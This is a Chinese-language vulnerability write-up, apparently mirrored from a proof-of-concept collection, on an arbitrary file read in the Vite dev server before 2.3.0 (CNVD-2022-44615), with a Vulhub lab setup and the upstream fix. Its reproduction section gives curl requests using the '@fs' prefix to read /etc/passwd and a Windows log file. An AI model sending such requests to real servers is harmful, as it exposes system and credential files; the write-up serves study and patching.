mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 03:44:10 +00:00
47 lines
1.5 KiB
Markdown
47 lines
1.5 KiB
Markdown
# Vite 开发服务器任意文件读取漏洞 CNVD-2022-44615
|
||
|
||
## 漏洞描述
|
||
|
||
Vite 是一个现代前端构建工具,为 Web 项目提供更快、更精简的开发体验。它主要由两部分组成:具有热模块替换(HMR)功能的开发服务器,以及使用 Rollup 打包代码的构建命令。
|
||
|
||
在 Vite 2.3.0 版本之前,可以通过 `@fs` 前缀读取文件系统上的任意文件。
|
||
|
||
参考链接:
|
||
|
||
- https://github.com/vitejs/vite/issues/2820
|
||
- https://github.com/vitejs/vite/pull/2850
|
||
|
||
## 漏洞影响
|
||
|
||
## 环境搭建
|
||
|
||
Vulhub 执行以下命令启动 Vite 2.1.5 开发服务器:
|
||
|
||
```shell
|
||
docker compose up -d
|
||
```
|
||
|
||
服务器启动后,可以通过访问 `http://your-ip:3000` 来访问 Vite 开发服务器。
|
||
|
||
> 注意:旧版本 Vite 的开发服务器默认端口为 3000,新版本默认端口为 5173,请注意区分。
|
||
|
||
## 漏洞复现
|
||
|
||
使用标准的 `@fs` 前缀访问指定路径,可以获取文件内容。例如,服务器为 Linux,访问 `/etc/passwd`:
|
||
|
||
```shell
|
||
curl "http://your-ip:3000/@fs/etc/passwd"
|
||
```
|
||
|
||

|
||
|
||
如果服务器为 Windows,访问 `C:\windows\debug\netsetup.log`:
|
||
|
||
```shell
|
||
curl "http://localhost:3000/@fs/windows/debug/netsetup.log"
|
||
```
|
||
|
||
## 漏洞修复
|
||
|
||
修复 [#2820](https://github.com/vitejs/vite/issues/2820),新增选项 `serve.fsServeRoot`,将自动检测工作区根目录为 `fsServeRoot`,防止为整个文件系统提供服务。详见: https://github.com/vitejs/vite/pull/2850
|